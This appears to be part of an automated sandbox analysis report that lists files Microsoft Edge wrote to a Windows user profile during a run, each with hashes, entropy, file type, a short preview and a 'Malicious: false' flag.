MD5:	F3ECBFB10760B72340968DD2220509DD
SHA1:	43F1B91D05EA5A9AF7F17E2F18C11962708A4CCD
SHA-256:	AAC5B1EB3B69621C2A53BCAB47A0A48547DD017E9141E10341B4097A7C1455EA
SHA-512:	D882EB8B9B2AC9205B1CB7C9195D5D1AE6EEC4DA2788D572017D315278C04C45AD40DE87B5FDCBFA4C9D320ADC2C566ED6FFFAC7F9B7B928999646ADF0C9CE76
Malicious:	false
Preview:	2024/11/24-13:11:56.788 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-13:11:56.789 1a3c Recovering log #3.2024/11/24-13:11:56.792 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.274039059553694
Encrypted:	false
SSDEEP:	12:Id0O3+vBYebvqBZFUt85dRW/+56V56YebvqBaJ:gkBYebvyg8D86YebvL
MD5:	F3ECBFB10760B72340968DD2220509DD
SHA1:	43F1B91D05EA5A9AF7F17E2F18C11962708A4CCD
SHA-256:	AAC5B1EB3B69621C2A53BCAB47A0A48547DD017E9141E10341B4097A7C1455EA
SHA-512:	D882EB8B9B2AC9205B1CB7C9195D5D1AE6EEC4DA2788D572017D315278C04C45AD40DE87B5FDCBFA4C9D320ADC2C566ED6FFFAC7F9B7B928999646ADF0C9CE76
Malicious:	false
Preview:	2024/11/24-13:11:56.788 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-13:11:56.789 1a3c Recovering log #3.2024/11/24-13:11:56.792 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161703854896567
Encrypted:	false
SSDEEP:	6:H2mq2PCHhJ23oH+TcwtpIFUt8YaUlZmw+YIkwOCHhJ23oH+Tcwta/WLJ:WmvBYebmFUt8S/+156YebaUJ
MD5:	93161CFF3D8FF3748D00DF45E0949A2E
SHA1:	E8B986AB8AF0AC17A020C8038151A31C9AC9F857
SHA-256:	3DF30D2BC94539C924043CB2E1CF29D251797592DC7F76D77989281EE3B966FD
SHA-512:	CEB8CA5C18F76546BE8CFC214CAFAFF5FDC8AB05097C317FCD531DCE8C95580A4CB3CDC3A8F3E909C213A82BC307872666ED98D4D669E0189BE57AE67CE89DBE
Malicious:	false
Preview:	2024/11/24-13:11:38.202 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-13:11:38.203 1d00 Recovering log #3.2024/11/24-13:11:38.213 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161703854896567
Encrypted:	false
SSDEEP:	6:H2mq2PCHhJ23oH+TcwtpIFUt8YaUlZmw+YIkwOCHhJ23oH+Tcwta/WLJ:WmvBYebmFUt8S/+156YebaUJ
MD5:	93161CFF3D8FF3748D00DF45E0949A2E
SHA1:	E8B986AB8AF0AC17A020C8038151A31C9AC9F857
SHA-256:	3DF30D2BC94539C924043CB2E1CF29D251797592DC7F76D77989281EE3B966FD
SHA-512:	CEB8CA5C18F76546BE8CFC214CAFAFF5FDC8AB05097C317FCD531DCE8C95580A4CB3CDC3A8F3E909C213A82BC307872666ED98D4D669E0189BE57AE67CE89DBE
Malicious:	false
Preview:	2024/11/24-13:11:38.202 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-13:11:38.203 1d00 Recovering log #3.2024/11/24-13:11:38.213 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650247506004515
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM4SAELyKOMq+8QTQKC+CVumx:K0q+n0J49ELyKOMq+8Q7q
MD5:	0A19F38B7A1ED77027333A321D026377
SHA1:	1793D70D252E11167BE0CA04C5140F29E0E54225
SHA-256:	A1AB9CCBB1485D6B80FD40A5AF2A9EF1B99446034CB4212D90D7A0F611611C44
SHA-512:	FA40E63823153248F89FE69D68DC53BD78A1DE82EF1B8B31F04D91E79CDBEEED7CD5243B881AF71E13FA021D7D86E4321C79ACE707F0D723EF7EA51612F8956A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46659803914742637
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0mvN:v7doKsKuKZKlZNmu46yjx0+
MD5:	6034567BAED6CB0FB4B6AF502D384A97
SHA1:	8674C5CADEA714F7D24FC13766D659E30247C289
SHA-256:	B37D24A5E91540A0E07467AAFD3FCCC051A80CF3CBD172A656B7464C8A57DAF7
SHA-512:	CEB1D7BCA30E6B6AF07A8C5AFD8B862CDCC029C7EACA6C291769E6EE1B7CCB23CA3ECEF336B6EA96B2184FFD759ADB5B8099777BE39186D4CAFA4C70B52963BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a8869ba6-f8ca-4a3c-93d3-ec820c4ea862.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17083), with no line terminators
Category:	dropped
Size (bytes):	17085
Entropy (8bit):	5.490601229913864
Encrypted:	false
SSDEEP:	384:stuPGQSu4msh1XYhu3D9LTbbGjQwYf7NIX:sEOXuI1nbGcJw
MD5:	D07BBCA82F21BDA38B9F0CD7900E50BE
SHA1:	56E7899F7D52A0661FA80C332934EE29FF3C608E
SHA-256:	2D820CD07B7D7B1672673A58F67A46F94536352DDAF5455FDF4BDFC8E2A6BCEE
SHA-512:	1C02E42DEEE2CC2DFFC5054A1FC9D682F3CC7AE27CEEC21EB0B084A3D90667E2A88EFF79F99FEBA3D382A50C8CC697322D150124DBAFC316B17D0A6825B5A7D1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c36170c6-91f1-4589-9070-a19478584596.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc434b6e-bcc2-48a5-a4d1-74605d1ae6dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17248), with no line terminators
Category:	dropped
Size (bytes):	17250
Entropy (8bit):	5.487391360808474
Encrypted:	false
SSDEEP:	384:stuPGQSu4msh1XYhu3D9LTbbGjQwY4f7NIX:sEOXuI1nbGciw
MD5:	6C97A8DAB3A863E0847473991589F899
SHA1:	A12FADA0580D484F87F4BB5E0E75B2F14F4E5877
SHA-256:	B8BFFE6B0226549E3E324D499F9B8E01BADF3D1F054AF0A32D03B62F2021F024
SHA-512:	A3F2544D3D2D2DE99E9B94BF05F98D14E0C1FF659D297682EA89DAA85AEE3AC7EE6A931CD2A6C8D86BF4EFD8FF07635F9CA387C871FA592384699657F9775422
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e01da40d-c6bc-419a-908f-9a2c11da97c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e67ac64c-d0f6-41b0-9ccb-a84f7eda3aad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17248), with no line terminators
Category:	dropped
Size (bytes):	17250
Entropy (8bit):	5.487457841976113
Encrypted:	false
SSDEEP:	384:stuPGQSu4msh1XYhu3D9LTbbGjQwYOf7NIX:sEOXuI1nbGc8w
MD5:	A73771C05E464609254D55FAB744804D
SHA1:	F50C0D3232BD6F365B3D342FBE18B3C8A7702C6D
SHA-256:	3AD0B851BF34AE53CFA59510BAE5D7E6AAA220A8FA125BBB994BD390AC8B4ABD
SHA-512:	AB9FA29F5F2F76FCD684EEF3DCA2A068FAB7F5BAE09650A1B5529B13AE635F7716B62A84E6C03BAFE26960A73C4ED3E35458219FDE70E0CAEFFBADC4B09CBE64
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10244876475981415
Encrypted:	false
SSDEEP:	12:+zqqY3zqA5spEjVl/PnnnnnnnnnnnvoQ/Eou:+/Y3ioPnnnnnnnnnnnv1j
MD5:	84D948D0706226B06BD8E6DAC1DB88B3
SHA1:	059778CC3588B614AA9E7E9BDC20782C2CBDF51B
SHA-256:	9529FCA4C701666D9D5383FF246354676B3EF9EA3D868567D2C20A360F18B4B0
SHA-512:	AC4B8753559D8F25B83EE1C29497FD7C51BE63A43A42DA3BC5E1406DE71A851FCA9031326F398D8EB4D9E7DBC0D11887368362F2D635D73BDF082C70C5D2D0C8
Malicious:	false
Preview:	..-.............M.........^.^....XE6.:............-.............M.........^.^....XE6.:..................I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8896558571216157
Encrypted:	false
SSDEEP:	384:Oq9FYkJ4pD2lDzD2jrU2G+2XE2j02tv1+2Xv8tylyg7y8ytVJyMxyJmW:xoNW
MD5:	1A98A77C16C2D398B4A9C8999D641D0E
SHA1:	2412F24512C3675A1B8C55E4664737B919EB0C2D
SHA-256:	DCEFE2777B1F165F57BD8700BB3F5508AAFDD4C48B13E762EF8ABAF6F8537803
SHA-512:	C5ACF795F5953ACDA7CC0F9614013AD5F22C76A5D194C74D8851438F9D1E5B361B275358025D44080DCD8FB4D7DE905874DA6F537AFA483AC71661144EEE818C
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.041485650869494
Encrypted:	false
SSDEEP:	12:lllc8zWrOuuuuuuuuuumgll1nWvO7k98tEV:tJEpgl1nlZEV
MD5:	A6BA492BD390A54369953A6D25585533
SHA1:	B50FA7C188C77DC30AC818952EF349AEA6FFD6B5
SHA-256:	AE5FCAE75639953C3FE7523EF720C96E54EC0F90066B182DEE52B85FB44F309F
SHA-512:	EFD663B8F33A12011C03E25D1AC46D169A89AE0A64419693A8CE2A6BED47E167648D49235ABED5480ED1F5CA16CF00F55EE87B17ADD7DE951B063E7E25D54552
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................L.;...............#38_h.......6.Z..W.F.....S.`.....S.`..........V.e................V.e................]...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.223885023955799
Encrypted:	false
SSDEEP:	6:HS4q2PCHhJ23oH+TcwtfrK+IFUt8Yl4JZmw+YjDkwOCHhJ23oH+TcwtfrUeLJ:RvBYeb23FUt8QK/+a56Yeb3J
MD5:	6C3FFF5F5672024CC5928793B4C8168A
SHA1:	D99FA661A6B672938580F91154D90DD6912F0A39
SHA-256:	402787476EF13C0AB91E2F92D93748C62F2545546CB4F0337C20E1FFCDD916EC
SHA-512:	8D54EFA3BC6CDF35B0C8D14C87D6374D14EAA4C934D91C81BCC7E0C01B85D2D5B2474D7EAD768715857594B9D4630E752DA84D00300854BD6472D078F7F18A6C
Malicious:	false
Preview:	2024/11/24-13:11:38.639 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-13:11:38.640 1d04 Recovering log #3.2024/11/24-13:11:38.658 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.223885023955799
Encrypted:	false
SSDEEP:	6:HS4q2PCHhJ23oH+TcwtfrK+IFUt8Yl4JZmw+YjDkwOCHhJ23oH+TcwtfrUeLJ:RvBYeb23FUt8QK/+a56Yeb3J
MD5:	6C3FFF5F5672024CC5928793B4C8168A
SHA1:	D99FA661A6B672938580F91154D90DD6912F0A39
SHA-256:	402787476EF13C0AB91E2F92D93748C62F2545546CB4F0337C20E1FFCDD916EC
SHA-512:	8D54EFA3BC6CDF35B0C8D14C87D6374D14EAA4C934D91C81BCC7E0C01B85D2D5B2474D7EAD768715857594B9D4630E752DA84D00300854BD6472D078F7F18A6C
Malicious:	false
Preview:	2024/11/24-13:11:38.639 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-13:11:38.640 1d04 Recovering log #3.2024/11/24-13:11:38.658 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.197465466497568
Encrypted:	false
SSDEEP:	6:HS4q2PCHhJ23oH+TcwtfrzAdIFUt8YSJZmw+Yl4DkwOCHhJ23oH+TcwtfrzILJ:RvBYeb9FUt8P/+Q256Yeb2J
MD5:	D4657BD0BF0B2C1AF12E6E37CF2049C2
SHA1:	2F8DDEC7B736F4CA13867700F837F41E31B488E7
SHA-256:	06C432D4EF50375358954856A8B0346EA588E599DC488D88417A836DCA7CA412
SHA-512:	3988976B42368C4DB67BB79DFA58E3E5288E39E248D3AA61B5961E3EB9DF27B1B933B120769DE5BB65DEF929F77D08B7F8176114BE75FACD170ED5D345274447
Malicious:	false
Preview:	2024/11/24-13:11:38.639 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-13:11:38.639 1d04 Recovering log #3.2024/11/24-13:11:38.640 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.197465466497568
Encrypted:	false
SSDEEP:	6:HS4q2PCHhJ23oH+TcwtfrzAdIFUt8YSJZmw+Yl4DkwOCHhJ23oH+TcwtfrzILJ:RvBYeb9FUt8P/+Q256Yeb2J
MD5:	D4657BD0BF0B2C1AF12E6E37CF2049C2
SHA1:	2F8DDEC7B736F4CA13867700F837F41E31B488E7
SHA-256:	06C432D4EF50375358954856A8B0346EA588E599DC488D88417A836DCA7CA412
SHA-512:	3988976B42368C4DB67BB79DFA58E3E5288E39E248D3AA61B5961E3EB9DF27B1B933B120769DE5BB65DEF929F77D08B7F8176114BE75FACD170ED5D345274447
Malicious:	false
Preview:	2024/11/24-13:11:38.639 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-13:11:38.639 1d04 Recovering log #3.2024/11/24-13:11:38.640 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
